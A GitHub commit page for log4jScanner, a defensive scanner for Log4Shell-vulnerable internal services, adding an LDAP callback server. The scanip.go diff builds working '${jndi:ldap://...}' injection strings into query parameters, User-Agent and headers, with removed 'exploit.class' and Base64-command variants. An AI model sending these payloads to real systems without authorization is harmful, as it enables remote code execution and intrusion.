Skip to content

Commit a65516e

Browse files
Merge pull request #111 from proferosec/ldap-server
Ldap server
2 parents 0557dd5 + 623373a commit a65516e

10 files changed

Lines changed: 135 additions & 129 deletions

File tree

.semver.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
alpha: 0
1+
alpha: 2
22
beta: 0
33
rc: 0
44
release: v0.3.0

README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# log4jScanner
22

3+
![image](https://user-images.githubusercontent.com/13978578/146378036-eb7ca332-81a1-48a4-ac42-4f320d252ba0.png)
4+
5+
36
## Goals
47

58
This tool provides you with the ability to scan internal (only) subnets for vulnerable log4j web services.
@@ -74,7 +77,6 @@ You can use the tool to test for the top 100 HTTP\S ports using the `ports top10
7477

7578
```bash
7679
log4jscanner.exe scan --cidr 192.168.7.0/24 --ports=top100
77-
```
7880

7981
it is possible to use a non-default configuration for the callback server
8082
```bash
@@ -88,6 +90,7 @@ if you wish to disable the callback server, use `--noserver`
8890
* `--nocolor` provide output without color
8991
* `--ports` either top10 (default) or top100 (list of the 100 most common web ports)
9092
* `--noserver` only scan, do not use a local callback server
93+
* `--ports=slow` is currently disabled due to a bug, to be fixed in the next release
9194

9295
### Methods Used
9396

cmd/ldapserver.go

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
package cmd
2+
3+
import (
4+
"context"
5+
"fmt"
6+
"net/url"
7+
"strings"
8+
"time"
9+
10+
ldap "github.com/vjeantet/ldapserver"
11+
12+
"github.com/pterm/pterm"
13+
log "github.com/sirupsen/logrus"
14+
)
15+
16+
var LDAPServer *Server
17+
18+
func StartServer(ctx context.Context, serverUrl string) {
19+
pterm.Info.Println("Server URL: " + serverUrl)
20+
log.Info("Server URL: " + serverUrl)
21+
22+
listenUrl, err := url.Parse("//" + serverUrl)
23+
if err != nil {
24+
pterm.Error.Println("Failed to parse server url")
25+
log.Fatal("Failed to parse server url")
26+
}
27+
// replace ip with 0.0.0.0:port
28+
listenUrl.Host = "0.0.0.0:" + listenUrl.Port()
29+
30+
pterm.Info.Println("Starting internal LDAP server on", listenUrl.Host)
31+
log.Info("Starting LDAP server on ", listenUrl.Host)
32+
LDAPServer = NewServer()
33+
LDAPServer.sChan = make(chan string, 10000)
34+
35+
go LDAPServer.server.ListenAndServe(listenUrl.Host)
36+
}
37+
38+
func (s *Server) ReportIP(vulnerableServiceLocation string) {
39+
vulnUrl, err := url.Parse("//" + vulnerableServiceLocation)
40+
if err != nil {
41+
pterm.Error.Println("Failed to parse vulnerable url: " + vulnerableServiceLocation)
42+
log.Fatal("Failed to parse server url" + vulnerableServiceLocation)
43+
}
44+
msg := fmt.Sprintf("SUCCESS: Remote addr: %s", vulnerableServiceLocation)
45+
log.Info(msg)
46+
pterm.Success.Println(msg)
47+
if s != nil && s.sChan != nil {
48+
resMsg := fmt.Sprintf("vulnerable,%s,%s,", vulnUrl.Hostname(), vulnUrl.Port())
49+
updateCsvRecords(resMsg)
50+
s.sChan <- resMsg
51+
}
52+
}
53+
54+
type Server struct {
55+
server *ldap.Server
56+
sChan chan string
57+
}
58+
59+
func (s *Server) handleBind(w ldap.ResponseWriter, m *ldap.Message) {
60+
res := ldap.NewBindResponse(ldap.LDAPResultSuccess)
61+
w.Write(res)
62+
return
63+
}
64+
65+
func (s *Server) handleSearch(w ldap.ResponseWriter, m *ldap.Message) {
66+
r := m.GetSearchRequest()
67+
68+
pterm.Info.Println("Got LDAP search request: " + r.BaseObject())
69+
log.Info("Got LDAP search request: " + r.BaseObject())
70+
71+
vulnerableLocation := strings.ReplaceAll(string(r.BaseObject()), "_", ":")
72+
73+
res := ldap.NewSearchResultDoneResponse(ldap.LDAPResultSuccess)
74+
w.Write(res)
75+
76+
s.ReportIP(vulnerableLocation)
77+
78+
return
79+
}
80+
81+
func NewServer() *Server {
82+
s := &Server{
83+
server: ldap.NewServer(),
84+
}
85+
86+
ldap.Logger = log.StandardLogger()
87+
88+
routes := ldap.NewRouteMux()
89+
routes.Bind(s.handleBind)
90+
routes.Search(s.handleSearch)
91+
92+
s.server.Handle(routes)
93+
94+
return s
95+
}
96+
97+
func (s *Server) Stop() {
98+
spinnerSuccess, _ := pterm.DefaultSpinner.Start("Stopping LDAP server")
99+
time.Sleep(10 * time.Second)
100+
s.server.Stop()
101+
spinnerSuccess.Stop()
102+
}

cmd/scan.go

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -120,8 +120,8 @@ func ScanCIDR(ctx context.Context, cidr string, portsFlag string, serverUrl stri
120120
if err != nil {
121121
pterm.Error.Println("Failed to get hosts, what:", err)
122122
//an error occurred and program should shut down, close the TCP server
123-
if TCPServer != nil {
124-
TCPServer.Stop()
123+
if LDAPServer != nil {
124+
LDAPServer.Stop()
125125
}
126126
return
127127
}
@@ -132,8 +132,8 @@ func ScanCIDR(ctx context.Context, cidr string, portsFlag string, serverUrl stri
132132
// if there are no IPs in the hosts lists, close the TCP server
133133
if len(hosts) == 0 {
134134
pterm.Error.Println("No IP addresses in CIDR")
135-
if TCPServer != nil {
136-
TCPServer.Stop()
135+
if LDAPServer != nil {
136+
LDAPServer.Stop()
137137
}
138138
return
139139
}
@@ -171,8 +171,8 @@ func ScanCIDR(ctx context.Context, cidr string, portsFlag string, serverUrl stri
171171
ScanPorts(i, serverUrl, ports, resChan, &wg)
172172
}
173173
wg.Wait()
174-
if TCPServer != nil {
175-
TCPServer.Stop()
174+
if LDAPServer != nil {
175+
LDAPServer.Stop()
176176
}
177177
PrintResults(resChan)
178178
}
@@ -188,11 +188,11 @@ func PrintResults(resChan chan string) {
188188
log.Info(msg)
189189
}
190190

191-
if TCPServer != nil && TCPServer.sChan != nil {
191+
if LDAPServer != nil && LDAPServer.sChan != nil {
192192
pterm.Println()
193-
pterm.NewStyle(pterm.FgGreen).Printfln("Total callbacks: %d", len(TCPServer.sChan))
194-
close(TCPServer.sChan)
195-
for suc := range TCPServer.sChan {
193+
pterm.NewStyle(pterm.FgGreen).Printfln("Total callbacks: %d", len(LDAPServer.sChan))
194+
close(LDAPServer.sChan)
195+
for suc := range LDAPServer.sChan {
196196
fullSuc := strings.Split(suc, ",")
197197
msg := fmt.Sprintf("Summary: Callback from %s", fullSuc[1])
198198
pterm.Info.Println(msg)

cmd/scanip.go

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -31,11 +31,14 @@ func ScanIP(hostUrl string, serverUrl string, wg *sync.WaitGroup, resChan chan s
3131
log.Debugf("Target URL: %s", hostUrl)
3232
baseUrl, err := url.Parse(hostUrl)
3333
param := url.Values{}
34-
param.Add("x", fmt.Sprintf("${jndi:ldap://%s/%s}", serverUrl, "test"))
35-
baseUrl.RawQuery = param.Encode()
3634
targetUrl := baseUrl.String()
37-
targetUserAgent := fmt.Sprintf("${jndi:ldap://%s/exploit.class}", serverUrl)
38-
targetHeader := fmt.Sprintf("${jndi:ldap://%s/Basic/Command/Base64/Y29udGFjdEBwcm9mZXJvLmlv}", serverUrl)
35+
36+
traceHint := fmt.Sprintf("%s_%s", baseUrl.Hostname(), baseUrl.Port())
37+
38+
param.Add("x", fmt.Sprintf("${jndi:ldap://%s/%s}", serverUrl, traceHint))
39+
baseUrl.RawQuery = param.Encode()
40+
targetUserAgent := fmt.Sprintf("${jndi:ldap://%s/%s}", serverUrl, traceHint)
41+
targetHeader := fmt.Sprintf("${jndi:ldap://%s/%s}", serverUrl, traceHint)
3942
//log.Debugf("Target User-Agent: %s", targetUserAgent)
4043
//log.Debugf("Target X-Api-Version: %s", targetHeader)
4144
request, err := http.NewRequest("GET", targetUrl, nil)

cmd/server.go

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ import (
3030
// serverCmd represents the server command
3131
var serverCmd = &cobra.Command{
3232
Use: "server",
33-
Short: "run a local TCPServer server",
33+
Short: "run a local LDAP server",
3434
Long: "",
3535
Run: func(cmd *cobra.Command, args []string) {
3636
serverUrl, err := cmd.Flags().GetString("server")
@@ -51,7 +51,7 @@ var serverCmd = &cobra.Command{
5151
}
5252

5353
func init() {
54-
rootCmd.AddCommand(serverCmd)
54+
//rootCmd.AddCommand(serverCmd)
5555
serverCmd.Flags().String("server", "", "Callback server IP and port (e.g. 192.168.1.100:5555)")
5656
}
5757

@@ -69,8 +69,8 @@ func ServerStart(serverUrl string) {
6969
}
7070

7171
func PrintServerResults(csvRecords [][]string) {
72-
close(TCPServer.sChan)
73-
for suc := range TCPServer.sChan {
72+
close(LDAPServer.sChan)
73+
for suc := range LDAPServer.sChan {
7474
csvSuc := strings.Split(suc, ",")
7575
msg := fmt.Sprintf("Summary: Callback from %s:%s", csvSuc[1], csvSuc[2])
7676
pterm.Info.Println(msg)

cmd/tcpserver.go

Lines changed: 0 additions & 108 deletions
This file was deleted.

docker/docker-compose.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,4 +9,4 @@ services:
99
- "8443:443"
1010
app:
1111
image: ghcr.io/christophetd/log4shell-vulnerable-app:latest
12-
12+

go.mod

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ require (
1818
github.com/gookit/color v1.5.0 // indirect
1919
github.com/hashicorp/hcl v1.0.0 // indirect
2020
github.com/inconshreveable/mousetrap v1.0.0 // indirect
21+
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 // indirect
2122
github.com/magiconair/properties v1.8.5 // indirect
2223
github.com/mattn/go-runewidth v0.0.13 // indirect
2324
github.com/mitchellh/mapstructure v1.4.3 // indirect
@@ -28,6 +29,7 @@ require (
2829
github.com/spf13/jwalterweatherman v1.1.0 // indirect
2930
github.com/spf13/pflag v1.0.5 // indirect
3031
github.com/subosito/gotenv v1.2.0 // indirect
32+
github.com/vjeantet/ldapserver v1.0.1 // indirect
3133
github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect
3234
golang.org/x/sys v0.0.0-20211214234402-4825e8c3871d // indirect
3335
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect

go.sum

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -259,6 +259,8 @@ github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
259259
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
260260
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
261261
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
262+
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 h1:wIONC+HMNRqmWBjuMxhatuSzHaljStc4gjDeKycxy0A=
263+
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=
262264
github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w=
263265
github.com/magiconair/properties v1.8.5 h1:b6kJs+EmPFMYGkow9GiUyCyOvIwYetYJ3fSaWak/Gls=
264266
github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60=
@@ -360,6 +362,8 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
360362
github.com/subosito/gotenv v1.2.0 h1:Slr1R9HxAlEKefgq5jn9U+DnETlIUa6HfgEzj0g5d7s=
361363
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
362364
github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM=
365+
github.com/vjeantet/ldapserver v1.0.1 h1:3z+TCXhwwDLJC3pZCNbuECPDqC2x1R7qQQbswB1Qwoc=
366+
github.com/vjeantet/ldapserver v1.0.1/go.mod h1:YvUqhu5vYhmbcLReMLrm/Tq3S7Yj43kSVFvvol6Lh6k=
363367
github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 h1:QldyIu/L63oPpyvQmHgvgickp1Yw510KJOqX7H24mg8=
364368
github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778/go.mod h1:2MuV+tbUrU1zIOPMxZ5EncGwgmMJsa+9ucAQZXxsObs=
365369
github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=

0 commit comments

Comments
 (0)